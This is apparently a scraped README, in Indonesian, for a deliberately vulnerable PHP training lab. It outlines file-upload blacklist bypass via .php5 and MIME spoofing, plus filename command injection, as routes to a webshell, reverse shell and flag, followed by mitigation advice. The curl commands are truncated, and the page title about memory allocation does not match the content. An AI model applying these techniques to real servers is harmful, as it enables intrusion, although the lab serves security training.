Skip to content
Exploit for Improperly Controlled Sequential Memory Allocation in Php

Exploit for Improperly Controlled Sequential Memory Allocation in Php

Sploitus • October 23, 2026

Lab edukasi untuk mendemonstrasikan teknik mendapatkan shell pada aplikasi PHP yang rentan.

Dibuat oleh [Nurlanchip]( untuk keperluan riset dan pelatihan keamanan siber.

| **CVE-2026-109618** | Unrestricted File Upload | Bypass blacklist ekstensi + spoof MIME type | RCE via webshell |

| **CVE-2026-109619** | Command Injection via Filename | Injeksi OS command ke parameter `file` | RCE via shell_exec |

Tunggu 10-15 detik, lalu buka: **

│ ├── index.php # Halaman utama

│ ├── upload.php # CVE-2026-109618 (file upload rentan)

│ ├── viewer.php # CVE-2026-109619 (command injection)

│ ├── admin.php # Target akhir (berisi flag)

│ └── uploads/ # Direktori upload (dapat diakses web)

│ ├── webshell.php5 # Webshell sederhana

│ └── reverse_shell.php5 # Reverse shell

├── php2shell.py # Tool demo lengkap ( interaktif)

├── exploit_cve_109618.py # Exploit CVE-2026-109618

└── exploit_cve_109619.py # Exploit CVE-2026-109619

**Langkah 1:** Buat file PHP dengan ekstensi `.php5`

**Langkah 2:** Upload dengan MIME type palsu

curl -X POST \

curl "

curl "

curl "

curl "

curl "

curl "

curl "

Gunakan command injection untuk menulis webshell langsung ke direktori uploads:

curl "

curl "

Setelah berhasil mendapatkan shell, akses halaman admin untuk mendapatkan flag:

curl " | grep -o 'Nurlanchip{.*}'

- Gunakan **whitelist** (bukan blacklist) ekstensi yang diizinkan

- Validasi MIME type dari **magic bytes** file, bukan header HTTP

- Rename file dengan nama acak saat disimpan

- Konfigurasikan server agar tidak mengeksekusi PHP di direktori upload

- Gunakan `escapeshellarg()` atau `escapeshellcmd()` pada input

- Terapkan whitelist untuk nama file yang diizinkan

- Hindari penggunaan `shell_exec()`, gunakan fungsi PHP native seperti `file_get_contents()`

- Validasi input dengan regex ketat: `^[a-zA-Z0-9_\-\.]+$`

> **PERINGATAN:** Lab ini sengaja dibuat rentan untuk tujuan edukasi.

> Jangan deploy di lingkungan produksi atau jaringan publik.

> Gunakan hanya dalam lingkungan lab yang terisolasi.